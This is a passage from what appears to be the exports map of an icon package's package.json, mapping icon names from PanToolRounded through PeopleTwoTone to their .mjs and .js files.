\"./PanToolRounded.mjs\"\n    },\n    \"./PanToolSharp\": {\n      \"import\": \"./PanToolSharp.mjs\",\n      \"require\": \"./PanToolSharp.js\",\n      \"default\": \"./PanToolSharp.mjs\"\n    },\n    \"./PanToolTwoTone\": {\n      \"import\": \"./PanToolTwoTone.mjs\",\n      \"require\": \"./PanToolTwoTone.js\",\n      \"default\": \"./PanToolTwoTone.mjs\"\n    },\n    \"./Panorama\": {\n      \"import\": \"./Panorama.mjs\",\n      \"require\": \"./Panorama.js\",\n      \"default\": \"./Panorama.mjs\"\n    },\n    \"./PanoramaFishEye\": {\n      \"import\": \"./PanoramaFishEye.mjs\",\n      \"require\": \"./PanoramaFishEye.js\",\n      \"default\": \"./PanoramaFishEye.mjs\"\n    },\n    \"./PanoramaFishEyeOutlined\": {\n      \"import\": \"./PanoramaFishEyeOutlined.mjs\",\n      \"require\": \"./PanoramaFishEyeOutlined.js\",\n      \"default\": \"./PanoramaFishEyeOutlined.mjs\"\n    },\n    \"./PanoramaFishEyeRounded\": {\n      \"import\": \"./PanoramaFishEyeRounded.mjs\",\n      \"require\": \"./PanoramaFishEyeRounded.js\",\n      \"default\": \"./PanoramaFishEyeRounded.mjs\"\n    },\n    \"./PanoramaFishEyeSharp\": {\n      \"import\": \"./PanoramaFishEyeSharp.mjs\",\n      \"require\": \"./PanoramaFishEyeSharp.js\",\n      \"default\": \"./PanoramaFishEyeSharp.mjs\"\n    },\n    \"./PanoramaFishEyeTwoTone\": {\n      \"import\": \"./PanoramaFishEyeTwoTone.mjs\",\n      \"require\": \"./PanoramaFishEyeTwoTone.js\",\n      \"default\": \"./PanoramaFishEyeTwoTone.mjs\"\n    },\n    \"./PanoramaHorizontal\": {\n      \"import\": \"./PanoramaHorizontal.mjs\",\n      \"require\": \"./PanoramaHorizontal.js\",\n      \"default\": \"./PanoramaHorizontal.mjs\"\n    },\n    \"./PanoramaHorizontalOutlined\": {\n      \"import\": \"./PanoramaHorizontalOutlined.mjs\",\n      \"require\": \"./PanoramaHorizontalOutlined.js\",\n      \"default\": \"./PanoramaHorizontalOutlined.mjs\"\n    },\n    \"./PanoramaHorizontalRounded\": {\n      \"import\": \"./PanoramaHorizontalRounded.mjs\",\n      \"require\": \"./PanoramaHorizontalRounded.js\",\n      \"default\": \"./PanoramaHorizontalRounded.mjs\"\n    },\n    \"./PanoramaHorizontalSelect\": {\n      \"require\": \"./PanoramaHorizontalSelect.js\",\n      \"import\": \"./PanoramaHorizontalSelect.mjs\",\n      \"default\": \"./PanoramaHorizontalSelect.mjs\"\n    },\n    \"./PanoramaHorizontalSelectOutlined\": {\n      \"require\": \"./PanoramaHorizontalSelectOutlined.js\",\n      \"import\": \"./PanoramaHorizontalSelectOutlined.mjs\",\n      \"default\": \"./PanoramaHorizontalSelectOutlined.mjs\"\n    },\n    \"./PanoramaHorizontalSelectRounded\": {\n      \"require\": \"./PanoramaHorizontalSelectRounded.js\",\n      \"import\": \"./PanoramaHorizontalSelectRounded.mjs\",\n      \"default\": \"./PanoramaHorizontalSelectRounded.mjs\"\n    },\n    \"./PanoramaHorizontalSelectSharp\": {\n      \"require\": \"./PanoramaHorizontalSelectSharp.js\",\n      \"import\": \"./PanoramaHorizontalSelectSharp.mjs\",\n      \"default\": \"./PanoramaHorizontalSelectSharp.mjs\"\n    },\n    \"./PanoramaHorizontalSelectTwoTone\": {\n      \"require\": \"./PanoramaHorizontalSelectTwoTone.js\",\n      \"import\": \"./PanoramaHorizontalSelectTwoTone.mjs\",\n      \"default\": \"./PanoramaHorizontalSelectTwoTone.mjs\"\n    },\n    \"./PanoramaHorizontalSharp\": {\n      \"require\": \"./PanoramaHorizontalSharp.js\",\n      \"import\": \"./PanoramaHorizontalSharp.mjs\",\n      \"default\": \"./PanoramaHorizontalSharp.mjs\"\n    },\n    \"./PanoramaHorizontalTwoTone\": {\n      \"require\": \"./PanoramaHorizontalTwoTone.js\",\n      \"import\": \"./PanoramaHorizontalTwoTone.mjs\",\n      \"default\": \"./PanoramaHorizontalTwoTone.mjs\"\n    },\n    \"./PanoramaOutlined\": {\n      \"require\": \"./PanoramaOutlined.js\",\n      \"import\": \"./PanoramaOutlined.mjs\",\n      \"default\": \"./PanoramaOutlined.mjs\"\n    },\n    \"./PanoramaPhotosphere\": {\n      \"require\": \"./PanoramaPhotosphere.js\",\n      \"import\": \"./PanoramaPhotosphere.mjs\",\n      \"default\": \"./PanoramaPhotosphere.mjs\"\n    },\n    \"./PanoramaPhotosphereOutlined\": {\n      \"require\": \"./PanoramaPhotosphereOutlined.js\",\n      \"import\": \"./PanoramaPhotosphereOutlined.mjs\",\n      \"default\": \"./PanoramaPhotosphereOutlined.mjs\"\n    },\n    \"./PanoramaPhotosphereRounded\": {\n      \"require\": \"./PanoramaPhotosphereRounded.js\",\n      \"import\": \"./PanoramaPhotosphereRounded.mjs\",\n      \"default\": \"./PanoramaPhotosphereRounded.mjs\"\n    },\n    \"./PanoramaPhotosphereSelect\": {\n      \"require\": \"./PanoramaPhotosphereSelect.js\",\n      \"import\": \"./PanoramaPhotosphereSelect.mjs\",\n      \"default\": \"./PanoramaPhotosphereSelect.mjs\"\n    },\n    \"./PanoramaPhotosphereSelectOutlined\": {\n      \"require\": \"./PanoramaPhotosphereSelectOutlined.js\",\n      \"import\": \"./PanoramaPhotosphereSelectOutlined.mjs\",\n      \"default\": \"./PanoramaPhotosphereSelectOutlined.mjs\"\n    },\n    \"./PanoramaPhotosphereSelectRounded\": {\n      \"require\": \"./PanoramaPhotosphereSelectRounded.js\",\n      \"import\": \"./PanoramaPhotosphereSelectRounded.mjs\",\n      \"default\": \"./PanoramaPhotosphereSelectRounded.mjs\"\n    },\n    \"./PanoramaPhotosphereSelectSharp\": {\n      \"require\": \"./PanoramaPhotosphereSelectSharp.js\",\n      \"import\": \"./PanoramaPhotosphereSelectSharp.mjs\",\n      \"default\": \"./PanoramaPhotosphereSelectSharp.mjs\"\n    },\n    \"./PanoramaPhotosphereSelectTwoTone\": {\n      \"require\": \"./PanoramaPhotosphereSelectTwoTone.js\",\n      \"import\": \"./PanoramaPhotosphereSelectTwoTone.mjs\",\n      \"default\": \"./PanoramaPhotosphereSelectTwoTone.mjs\"\n    },\n    \"./PanoramaPhotosphereSharp\": {\n      \"require\": \"./PanoramaPhotosphereSharp.js\",\n      \"import\": \"./PanoramaPhotosphereSharp.mjs\",\n      \"default\": \"./PanoramaPhotosphereSharp.mjs\"\n    },\n    \"./PanoramaPhotosphereTwoTone\": {\n      \"require\": \"./PanoramaPhotosphereTwoTone.js\",\n      \"import\": \"./PanoramaPhotosphereTwoTone.mjs\",\n      \"default\": \"./PanoramaPhotosphereTwoTone.mjs\"\n    },\n    \"./PanoramaRounded\": {\n      \"require\": \"./PanoramaRounded.js\",\n      \"import\": \"./PanoramaRounded.mjs\",\n      \"default\": \"./PanoramaRounded.mjs\"\n    },\n    \"./PanoramaSharp\": {\n      \"require\": \"./PanoramaSharp.js\",\n      \"import\": \"./PanoramaSharp.mjs\",\n      \"default\": \"./PanoramaSharp.mjs\"\n    },\n    \"./PanoramaTwoTone\": {\n      \"require\": \"./PanoramaTwoTone.js\",\n      \"import\": \"./PanoramaTwoTone.mjs\",\n      \"default\": \"./PanoramaTwoTone.mjs\"\n    },\n    \"./PanoramaVertical\": {\n      \"import\": \"./PanoramaVertical.mjs\",\n      \"require\": \"./PanoramaVertical.js\",\n      \"default\": \"./PanoramaVertical.mjs\"\n    },\n    \"./PanoramaVerticalOutlined\": {\n      \"import\": \"./PanoramaVerticalOutlined.mjs\",\n      \"require\": \"./PanoramaVerticalOutlined.js\",\n      \"default\": \"./PanoramaVerticalOutlined.mjs\"\n    },\n    \"./PanoramaVerticalRounded\": {\n      \"import\": \"./PanoramaVerticalRounded.mjs\",\n      \"require\": \"./PanoramaVerticalRounded.js\",\n      \"default\": \"./PanoramaVerticalRounded.mjs\"\n    },\n    \"./PanoramaVerticalSelect\": {\n      \"import\": \"./PanoramaVerticalSelect.mjs\",\n      \"require\": \"./PanoramaVerticalSelect.js\",\n      \"default\": \"./PanoramaVerticalSelect.mjs\"\n    },\n    \"./PanoramaVerticalSelectOutlined\": {\n      \"import\": \"./PanoramaVerticalSelectOutlined.mjs\",\n      \"require\": \"./PanoramaVerticalSelectOutlined.js\",\n      \"default\": \"./PanoramaVerticalSelectOutlined.mjs\"\n    },\n    \"./PanoramaVerticalSelectRounded\": {\n      \"import\": \"./PanoramaVerticalSelectRounded.mjs\",\n      \"require\": \"./PanoramaVerticalSelectRounded.js\",\n      \"default\": \"./PanoramaVerticalSelectRounded.mjs\"\n    },\n    \"./PanoramaVerticalSelectSharp\": {\n      \"import\": \"./PanoramaVerticalSelectSharp.mjs\",\n      \"require\": \"./PanoramaVerticalSelectSharp.js\",\n      \"default\": \"./PanoramaVerticalSelectSharp.mjs\"\n    },\n    \"./PanoramaVerticalSelectTwoTone\": {\n      \"import\": \"./PanoramaVerticalSelectTwoTone.mjs\",\n      \"require\": \"./PanoramaVerticalSelectTwoTone.js\",\n      \"default\": \"./PanoramaVerticalSelectTwoTone.mjs\"\n    },\n    \"./PanoramaVerticalSharp\": {\n      \"import\": \"./PanoramaVerticalSharp.mjs\",\n      \"require\": \"./PanoramaVerticalSharp.js\",\n      \"default\": \"./PanoramaVerticalSharp.mjs\"\n    },\n    \"./PanoramaVerticalTwoTone\": {\n      \"import\": \"./PanoramaVerticalTwoTone.mjs\",\n      \"require\": \"./PanoramaVerticalTwoTone.js\",\n      \"default\": \"./PanoramaVerticalTwoTone.mjs\"\n    },\n    \"./PanoramaWideAngle\": {\n      \"import\": \"./PanoramaWideAngle.mjs\",\n      \"require\": \"./PanoramaWideAngle.js\",\n      \"default\": \"./PanoramaWideAngle.mjs\"\n    },\n    \"./PanoramaWideAngleOutlined\": {\n      \"import\": \"./PanoramaWideAngleOutlined.mjs\",\n      \"require\": \"./PanoramaWideAngleOutlined.js\",\n      \"default\": \"./PanoramaWideAngleOutlined.mjs\"\n    },\n    \"./PanoramaWideAngleRounded\": {\n      \"import\": \"./PanoramaWideAngleRounded.mjs\",\n      \"require\": \"./PanoramaWideAngleRounded.js\",\n      \"default\": \"./PanoramaWideAngleRounded.mjs\"\n    },\n    \"./PanoramaWideAngleSelect\": {\n      \"import\": \"./PanoramaWideAngleSelect.mjs\",\n      \"require\": \"./PanoramaWideAngleSelect.js\",\n      \"default\": \"./PanoramaWideAngleSelect.mjs\"\n    },\n    \"./PanoramaWideAngleSelectOutlined\": {\n      \"import\": \"./PanoramaWideAngleSelectOutlined.mjs\",\n      \"require\": \"./PanoramaWideAngleSelectOutlined.js\",\n      \"default\": \"./PanoramaWideAngleSelectOutlined.mjs\"\n    },\n    \"./PanoramaWideAngleSelectRounded\": {\n      \"require\": \"./PanoramaWideAngleSelectRounded.js\",\n      \"import\": \"./PanoramaWideAngleSelectRounded.mjs\",\n      \"default\": \"./PanoramaWideAngleSelectRounded.mjs\"\n    },\n    \"./PanoramaWideAngleSelectSharp\": {\n      \"require\": \"./PanoramaWideAngleSelectSharp.js\",\n      \"import\": \"./PanoramaWideAngleSelectSharp.mjs\",\n      \"default\": \"./PanoramaWideAngleSelectSharp.mjs\"\n    },\n    \"./PanoramaWideAngleSelectTwoTone\": {\n      \"require\": \"./PanoramaWideAngleSelectTwoTone.js\",\n      \"import\": \"./PanoramaWideAngleSelectTwoTone.mjs\",\n      \"default\": \"./PanoramaWideAngleSelectTwoTone.mjs\"\n    },\n    \"./PanoramaWideAngleSharp\": {\n      \"require\": \"./PanoramaWideAngleSharp.js\",\n      \"import\": \"./PanoramaWideAngleSharp.mjs\",\n      \"default\": \"./PanoramaWideAngleSharp.mjs\"\n    },\n    \"./PanoramaWideAngleTwoTone\": {\n      \"require\": \"./PanoramaWideAngleTwoTone.js\",\n      \"import\": \"./PanoramaWideAngleTwoTone.mjs\",\n      \"default\": \"./PanoramaWideAngleTwoTone.mjs\"\n    },\n    \"./Paragliding\": {\n      \"require\": \"./Paragliding.js\",\n      \"import\": \"./Paragliding.mjs\",\n      \"default\": \"./Paragliding.mjs\"\n    },\n    \"./ParaglidingOutlined\": {\n      \"require\": \"./ParaglidingOutlined.js\",\n      \"import\": \"./ParaglidingOutlined.mjs\",\n      \"default\": \"./ParaglidingOutlined.mjs\"\n    },\n    \"./ParaglidingRounded\": {\n      \"require\": \"./ParaglidingRounded.js\",\n      \"import\": \"./ParaglidingRounded.mjs\",\n      \"default\": \"./ParaglidingRounded.mjs\"\n    },\n    \"./ParaglidingSharp\": {\n      \"require\": \"./ParaglidingSharp.js\",\n      \"import\": \"./ParaglidingSharp.mjs\",\n      \"default\": \"./ParaglidingSharp.mjs\"\n    },\n    \"./ParaglidingTwoTone\": {\n      \"require\": \"./ParaglidingTwoTone.js\",\n      \"import\": \"./ParaglidingTwoTone.mjs\",\n      \"default\": \"./ParaglidingTwoTone.mjs\"\n    },\n    \"./Park\": {\n      \"require\": \"./Park.js\",\n      \"import\": \"./Park.mjs\",\n      \"default\": \"./Park.mjs\"\n    },\n    \"./ParkOutlined\": {\n      \"require\": \"./ParkOutlined.js\",\n      \"import\": \"./ParkOutlined.mjs\",\n      \"default\": \"./ParkOutlined.mjs\"\n    },\n    \"./ParkRounded\": {\n      \"require\": \"./ParkRounded.js\",\n      \"import\": \"./ParkRounded.mjs\",\n      \"default\": \"./ParkRounded.mjs\"\n    },\n    \"./ParkSharp\": {\n      \"require\": \"./ParkSharp.js\",\n      \"import\": \"./ParkSharp.mjs\",\n      \"default\": \"./ParkSharp.mjs\"\n    },\n    \"./ParkTwoTone\": {\n      \"require\": \"./ParkTwoTone.js\",\n      \"import\": \"./ParkTwoTone.mjs\",\n      \"default\": \"./ParkTwoTone.mjs\"\n    },\n    \"./PartyMode\": {\n      \"require\": \"./PartyMode.js\",\n      \"import\": \"./PartyMode.mjs\",\n      \"default\": \"./PartyMode.mjs\"\n    },\n    \"./PartyModeOutlined\": {\n      \"require\": \"./PartyModeOutlined.js\",\n      \"import\": \"./PartyModeOutlined.mjs\",\n      \"default\": \"./PartyModeOutlined.mjs\"\n    },\n    \"./PartyModeRounded\": {\n      \"require\": \"./PartyModeRounded.js\",\n      \"import\": \"./PartyModeRounded.mjs\",\n      \"default\": \"./PartyModeRounded.mjs\"\n    },\n    \"./PartyModeSharp\": {\n      \"require\": \"./PartyModeSharp.js\",\n      \"import\": \"./PartyModeSharp.mjs\",\n      \"default\": \"./PartyModeSharp.mjs\"\n    },\n    \"./PartyModeTwoTone\": {\n      \"require\": \"./PartyModeTwoTone.js\",\n      \"import\": \"./PartyModeTwoTone.mjs\",\n      \"default\": \"./PartyModeTwoTone.mjs\"\n    },\n    \"./Password\": {\n      \"require\": \"./Password.js\",\n      \"import\": \"./Password.mjs\",\n      \"default\": \"./Password.mjs\"\n    },\n    \"./PasswordOutlined\": {\n      \"require\": \"./PasswordOutlined.js\",\n      \"import\": \"./PasswordOutlined.mjs\",\n      \"default\": \"./PasswordOutlined.mjs\"\n    },\n    \"./PasswordRounded\": {\n      \"import\": \"./PasswordRounded.mjs\",\n      \"require\": \"./PasswordRounded.js\",\n      \"default\": \"./PasswordRounded.mjs\"\n    },\n    \"./PasswordSharp\": {\n      \"import\": \"./PasswordSharp.mjs\",\n      \"require\": \"./PasswordSharp.js\",\n      \"default\": \"./PasswordSharp.mjs\"\n    },\n    \"./PasswordTwoTone\": {\n      \"require\": \"./PasswordTwoTone.js\",\n      \"import\": \"./PasswordTwoTone.mjs\",\n      \"default\": \"./PasswordTwoTone.mjs\"\n    },\n    \"./Pattern\": {\n      \"require\": \"./Pattern.js\",\n      \"import\": \"./Pattern.mjs\",\n      \"default\": \"./Pattern.mjs\"\n    },\n    \"./PatternOutlined\": {\n      \"require\": \"./PatternOutlined.js\",\n      \"import\": \"./PatternOutlined.mjs\",\n      \"default\": \"./PatternOutlined.mjs\"\n    },\n    \"./PatternRounded\": {\n      \"require\": \"./PatternRounded.js\",\n      \"import\": \"./PatternRounded.mjs\",\n      \"default\": \"./PatternRounded.mjs\"\n    },\n    \"./PatternSharp\": {\n      \"require\": \"./PatternSharp.js\",\n      \"import\": \"./PatternSharp.mjs\",\n      \"default\": \"./PatternSharp.mjs\"\n    },\n    \"./PatternTwoTone\": {\n      \"import\": \"./PatternTwoTone.mjs\",\n      \"require\": \"./PatternTwoTone.js\",\n      \"default\": \"./PatternTwoTone.mjs\"\n    },\n    \"./Pause\": {\n      \"import\": \"./Pause.mjs\",\n      \"require\": \"./Pause.js\",\n      \"default\": \"./Pause.mjs\"\n    },\n    \"./PauseCircle\": {\n      \"require\": \"./PauseCircle.js\",\n      \"import\": \"./PauseCircle.mjs\",\n      \"default\": \"./PauseCircle.mjs\"\n    },\n    \"./PauseCircleFilled\": {\n      \"require\": \"./PauseCircleFilled.js\",\n      \"import\": \"./PauseCircleFilled.mjs\",\n      \"default\": \"./PauseCircleFilled.mjs\"\n    },\n    \"./PauseCircleFilledOutlined\": {\n      \"require\": \"./PauseCircleFilledOutlined.js\",\n      \"import\": \"./PauseCircleFilledOutlined.mjs\",\n      \"default\": \"./PauseCircleFilledOutlined.mjs\"\n    },\n    \"./PauseCircleFilledRounded\": {\n      \"require\": \"./PauseCircleFilledRounded.js\",\n      \"import\": \"./PauseCircleFilledRounded.mjs\",\n      \"default\": \"./PauseCircleFilledRounded.mjs\"\n    },\n    \"./PauseCircleFilledSharp\": {\n      \"require\": \"./PauseCircleFilledSharp.js\",\n      \"import\": \"./PauseCircleFilledSharp.mjs\",\n      \"default\": \"./PauseCircleFilledSharp.mjs\"\n    },\n    \"./PauseCircleFilledTwoTone\": {\n      \"require\": \"./PauseCircleFilledTwoTone.js\",\n      \"import\": \"./PauseCircleFilledTwoTone.mjs\",\n      \"default\": \"./PauseCircleFilledTwoTone.mjs\"\n    },\n    \"./PauseCircleOutline\": {\n      \"require\": \"./PauseCircleOutline.js\",\n      \"import\": \"./PauseCircleOutline.mjs\",\n      \"default\": \"./PauseCircleOutline.mjs\"\n    },\n    \"./PauseCircleOutlineOutlined\": {\n      \"require\": \"./PauseCircleOutlineOutlined.js\",\n      \"import\": \"./PauseCircleOutlineOutlined.mjs\",\n      \"default\": \"./PauseCircleOutlineOutlined.mjs\"\n    },\n    \"./PauseCircleOutlineRounded\": {\n      \"require\": \"./PauseCircleOutlineRounded.js\",\n      \"import\": \"./PauseCircleOutlineRounded.mjs\",\n      \"default\": \"./PauseCircleOutlineRounded.mjs\"\n    },\n    \"./PauseCircleOutlineSharp\": {\n      \"require\": \"./PauseCircleOutlineSharp.js\",\n      \"import\": \"./PauseCircleOutlineSharp.mjs\",\n      \"default\": \"./PauseCircleOutlineSharp.mjs\"\n    },\n    \"./PauseCircleOutlineTwoTone\": {\n      \"require\": \"./PauseCircleOutlineTwoTone.js\",\n      \"import\": \"./PauseCircleOutlineTwoTone.mjs\",\n      \"default\": \"./PauseCircleOutlineTwoTone.mjs\"\n    },\n    \"./PauseCircleOutlined\": {\n      \"import\": \"./PauseCircleOutlined.mjs\",\n      \"require\": \"./PauseCircleOutlined.js\",\n      \"default\": \"./PauseCircleOutlined.mjs\"\n    },\n    \"./PauseCircleRounded\": {\n      \"import\": \"./PauseCircleRounded.mjs\",\n      \"require\": \"./PauseCircleRounded.js\",\n      \"default\": \"./PauseCircleRounded.mjs\"\n    },\n    \"./PauseCircleSharp\": {\n      \"import\": \"./PauseCircleSharp.mjs\",\n      \"require\": \"./PauseCircleSharp.js\",\n      \"default\": \"./PauseCircleSharp.mjs\"\n    },\n    \"./PauseCircleTwoTone\": {\n      \"import\": \"./PauseCircleTwoTone.mjs\",\n      \"require\": \"./PauseCircleTwoTone.js\",\n      \"default\": \"./PauseCircleTwoTone.mjs\"\n    },\n    \"./PauseOutlined\": {\n      \"import\": \"./PauseOutlined.mjs\",\n      \"require\": \"./PauseOutlined.js\",\n      \"default\": \"./PauseOutlined.mjs\"\n    },\n    \"./PausePresentation\": {\n      \"import\": \"./PausePresentation.mjs\",\n      \"require\": \"./PausePresentation.js\",\n      \"default\": \"./PausePresentation.mjs\"\n    },\n    \"./PausePresentationOutlined\": {\n      \"import\": \"./PausePresentationOutlined.mjs\",\n      \"require\": \"./PausePresentationOutlined.js\",\n      \"default\": \"./PausePresentationOutlined.mjs\"\n    },\n    \"./PausePresentationRounded\": {\n      \"import\": \"./PausePresentationRounded.mjs\",\n      \"require\": \"./PausePresentationRounded.js\",\n      \"default\": \"./PausePresentationRounded.mjs\"\n    },\n    \"./PausePresentationSharp\": {\n      \"import\": \"./PausePresentationSharp.mjs\",\n      \"require\": \"./PausePresentationSharp.js\",\n      \"default\": \"./PausePresentationSharp.mjs\"\n    },\n    \"./PausePresentationTwoTone\": {\n      \"import\": \"./PausePresentationTwoTone.mjs\",\n      \"require\": \"./PausePresentationTwoTone.js\",\n      \"default\": \"./PausePresentationTwoTone.mjs\"\n    },\n    \"./PauseRounded\": {\n      \"import\": \"./PauseRounded.mjs\",\n      \"require\": \"./PauseRounded.js\",\n      \"default\": \"./PauseRounded.mjs\"\n    },\n    \"./PauseSharp\": {\n      \"import\": \"./PauseSharp.mjs\",\n      \"require\": \"./PauseSharp.js\",\n      \"default\": \"./PauseSharp.mjs\"\n    },\n    \"./PauseTwoTone\": {\n      \"import\": \"./PauseTwoTone.mjs\",\n      \"require\": \"./PauseTwoTone.js\",\n      \"default\": \"./PauseTwoTone.mjs\"\n    },\n    \"./Payment\": {\n      \"import\": \"./Payment.mjs\",\n      \"require\": \"./Payment.js\",\n      \"default\": \"./Payment.mjs\"\n    },\n    \"./PaymentOutlined\": {\n      \"import\": \"./PaymentOutlined.mjs\",\n      \"require\": \"./PaymentOutlined.js\",\n      \"default\": \"./PaymentOutlined.mjs\"\n    },\n    \"./PaymentRounded\": {\n      \"import\": \"./PaymentRounded.mjs\",\n      \"require\": \"./PaymentRounded.js\",\n      \"default\": \"./PaymentRounded.mjs\"\n    },\n    \"./PaymentSharp\": {\n      \"import\": \"./PaymentSharp.mjs\",\n      \"require\": \"./PaymentSharp.js\",\n      \"default\": \"./PaymentSharp.mjs\"\n    },\n    \"./PaymentTwoTone\": {\n      \"require\": \"./PaymentTwoTone.js\",\n      \"import\": \"./PaymentTwoTone.mjs\",\n      \"default\": \"./PaymentTwoTone.mjs\"\n    },\n    \"./Payments\": {\n      \"require\": \"./Payments.js\",\n      \"import\": \"./Payments.mjs\",\n      \"default\": \"./Payments.mjs\"\n    },\n    \"./PaymentsOutlined\": {\n      \"require\": \"./PaymentsOutlined.js\",\n      \"import\": \"./PaymentsOutlined.mjs\",\n      \"default\": \"./PaymentsOutlined.mjs\"\n    },\n    \"./PaymentsRounded\": {\n      \"require\": \"./PaymentsRounded.js\",\n      \"import\": \"./PaymentsRounded.mjs\",\n      \"default\": \"./PaymentsRounded.mjs\"\n    },\n    \"./PaymentsSharp\": {\n      \"require\": \"./PaymentsSharp.js\",\n      \"import\": \"./PaymentsSharp.mjs\",\n      \"default\": \"./PaymentsSharp.mjs\"\n    },\n    \"./PaymentsTwoTone\": {\n      \"require\": \"./PaymentsTwoTone.js\",\n      \"import\": \"./PaymentsTwoTone.mjs\",\n      \"default\": \"./PaymentsTwoTone.mjs\"\n    },\n    \"./PedalBike\": {\n      \"require\": \"./PedalBike.js\",\n      \"import\": \"./PedalBike.mjs\",\n      \"default\": \"./PedalBike.mjs\"\n    },\n    \"./PedalBikeOutlined\": {\n      \"require\": \"./PedalBikeOutlined.js\",\n      \"import\": \"./PedalBikeOutlined.mjs\",\n      \"default\": \"./PedalBikeOutlined.mjs\"\n    },\n    \"./PedalBikeRounded\": {\n      \"import\": \"./PedalBikeRounded.mjs\",\n      \"require\": \"./PedalBikeRounded.js\",\n      \"default\": \"./PedalBikeRounded.mjs\"\n    },\n    \"./PedalBikeSharp\": {\n      \"import\": \"./PedalBikeSharp.mjs\",\n      \"require\": \"./PedalBikeSharp.js\",\n      \"default\": \"./PedalBikeSharp.mjs\"\n    },\n    \"./PedalBikeTwoTone\": {\n      \"import\": \"./PedalBikeTwoTone.mjs\",\n      \"require\": \"./PedalBikeTwoTone.js\",\n      \"default\": \"./PedalBikeTwoTone.mjs\"\n    },\n    \"./Pending\": {\n      \"import\": \"./Pending.mjs\",\n      \"require\": \"./Pending.js\",\n      \"default\": \"./Pending.mjs\"\n    },\n    \"./PendingActions\": {\n      \"import\": \"./PendingActions.mjs\",\n      \"require\": \"./PendingActions.js\",\n      \"default\": \"./PendingActions.mjs\"\n    },\n    \"./PendingActionsOutlined\": {\n      \"import\": \"./PendingActionsOutlined.mjs\",\n      \"require\": \"./PendingActionsOutlined.js\",\n      \"default\": \"./PendingActionsOutlined.mjs\"\n    },\n    \"./PendingActionsRounded\": {\n      \"import\": \"./PendingActionsRounded.mjs\",\n      \"require\": \"./PendingActionsRounded.js\",\n      \"default\": \"./PendingActionsRounded.mjs\"\n    },\n    \"./PendingActionsSharp\": {\n      \"import\": \"./PendingActionsSharp.mjs\",\n      \"require\": \"./PendingActionsSharp.js\",\n      \"default\": \"./PendingActionsSharp.mjs\"\n    },\n    \"./PendingActionsTwoTone\": {\n      \"import\": \"./PendingActionsTwoTone.mjs\",\n      \"require\": \"./PendingActionsTwoTone.js\",\n      \"default\": \"./PendingActionsTwoTone.mjs\"\n    },\n    \"./PendingOutlined\": {\n      \"import\": \"./PendingOutlined.mjs\",\n      \"require\": \"./PendingOutlined.js\",\n      \"default\": \"./PendingOutlined.mjs\"\n    },\n    \"./PendingRounded\": {\n      \"import\": \"./PendingRounded.mjs\",\n      \"require\": \"./PendingRounded.js\",\n      \"default\": \"./PendingRounded.mjs\"\n    },\n    \"./PendingSharp\": {\n      \"import\": \"./PendingSharp.mjs\",\n      \"require\": \"./PendingSharp.js\",\n      \"default\": \"./PendingSharp.mjs\"\n    },\n    \"./PendingTwoTone\": {\n      \"import\": \"./PendingTwoTone.mjs\",\n      \"require\": \"./PendingTwoTone.js\",\n      \"default\": \"./PendingTwoTone.mjs\"\n    },\n    \"./Pentagon\": {\n      \"import\": \"./Pentagon.mjs\",\n      \"require\": \"./Pentagon.js\",\n      \"default\": \"./Pentagon.mjs\"\n    },\n    \"./PentagonOutlined\": {\n      \"import\": \"./PentagonOutlined.mjs\",\n      \"require\": \"./PentagonOutlined.js\",\n      \"default\": \"./PentagonOutlined.mjs\"\n    },\n    \"./PentagonRounded\": {\n      \"import\": \"./PentagonRounded.mjs\",\n      \"require\": \"./PentagonRounded.js\",\n      \"default\": \"./PentagonRounded.mjs\"\n    },\n    \"./PentagonSharp\": {\n      \"import\": \"./PentagonSharp.mjs\",\n      \"require\": \"./PentagonSharp.js\",\n      \"default\": \"./PentagonSharp.mjs\"\n    },\n    \"./PentagonTwoTone\": {\n      \"import\": \"./PentagonTwoTone.mjs\",\n      \"require\": \"./PentagonTwoTone.js\",\n      \"default\": \"./PentagonTwoTone.mjs\"\n    },\n    \"./People\": {\n      \"import\": \"./People.mjs\",\n      \"require\": \"./People.js\",\n      \"default\": \"./People.mjs\"\n    },\n    \"./PeopleAlt\": {\n      \"import\": \"./PeopleAlt.mjs\",\n      \"require\": \"./PeopleAlt.js\",\n      \"default\": \"./PeopleAlt.mjs\"\n    },\n    \"./PeopleAltOutlined\": {\n      \"import\": \"./PeopleAltOutlined.mjs\",\n      \"require\": \"./PeopleAltOutlined.js\",\n      \"default\": \"./PeopleAltOutlined.mjs\"\n    },\n    \"./PeopleAltRounded\": {\n      \"import\": \"./PeopleAltRounded.mjs\",\n      \"require\": \"./PeopleAltRounded.js\",\n      \"default\": \"./PeopleAltRounded.mjs\"\n    },\n    \"./PeopleAltSharp\": {\n      \"import\": \"./PeopleAltSharp.mjs\",\n      \"require\": \"./PeopleAltSharp.js\",\n      \"default\": \"./PeopleAltSharp.mjs\"\n    },\n    \"./PeopleAltTwoTone\": {\n      \"import\": \"./PeopleAltTwoTone.mjs\",\n      \"require\": \"./PeopleAltTwoTone.js\",\n      \"default\": \"./PeopleAltTwoTone.mjs\"\n    },\n    \"./PeopleOutline\": {\n      \"import\": \"./PeopleOutline.mjs\",\n      \"require\": \"./PeopleOutline.js\",\n      \"default\": \"./PeopleOutline.mjs\"\n    },\n    \"./PeopleOutlineOutlined\": {\n      \"import\": \"./PeopleOutlineOutlined.mjs\",\n      \"require\": \"./PeopleOutlineOutlined.js\",\n      \"default\": \"./PeopleOutlineOutlined.mjs\"\n    },\n    \"./PeopleOutlineRounded\": {\n      \"import\": \"./PeopleOutlineRounded.mjs\",\n      \"require\": \"./PeopleOutlineRounded.js\",\n      \"default\": \"./PeopleOutlineRounded.mjs\"\n    },\n    \"./PeopleOutlineSharp\": {\n      \"import\": \"./PeopleOutlineSharp.mjs\",\n      \"require\": \"./PeopleOutlineSharp.js\",\n      \"default\": \"./PeopleOutlineSharp.mjs\"\n    },\n    \"./PeopleOutlineTwoTone\": {\n      \"import\": \"./PeopleOutlineTwoTone.mjs\",\n      \"require\": \"./PeopleOutlineTwoTone.js\",\n      \"default\": \"./PeopleOutlineTwoTone.mjs\"\n    },\n    \"./PeopleOutlined\": {\n      \"import\": \"./PeopleOutlined.mjs\",\n      \"require\": \"./PeopleOutlined.js\",\n      \"default\": \"./PeopleOutlined.mjs\"\n    },\n    \"./PeopleRounded\": {\n      \"import\": \"./PeopleRounded.mjs\",\n      \"require\": \"./PeopleRounded.js\",\n      \"default\": \"./PeopleRounded.mjs\"\n    },\n    \"./PeopleSharp\": {\n      \"import\": \"./PeopleSharp.mjs\",\n      \"require\": \"./PeopleSharp.js\",\n      \"default\": \"./PeopleSharp.mjs\"\n    },\n    \"./PeopleTwoTone\": {\n      \"import\": \"./PeopleTwoTone.mjs\",\n      \"require\": 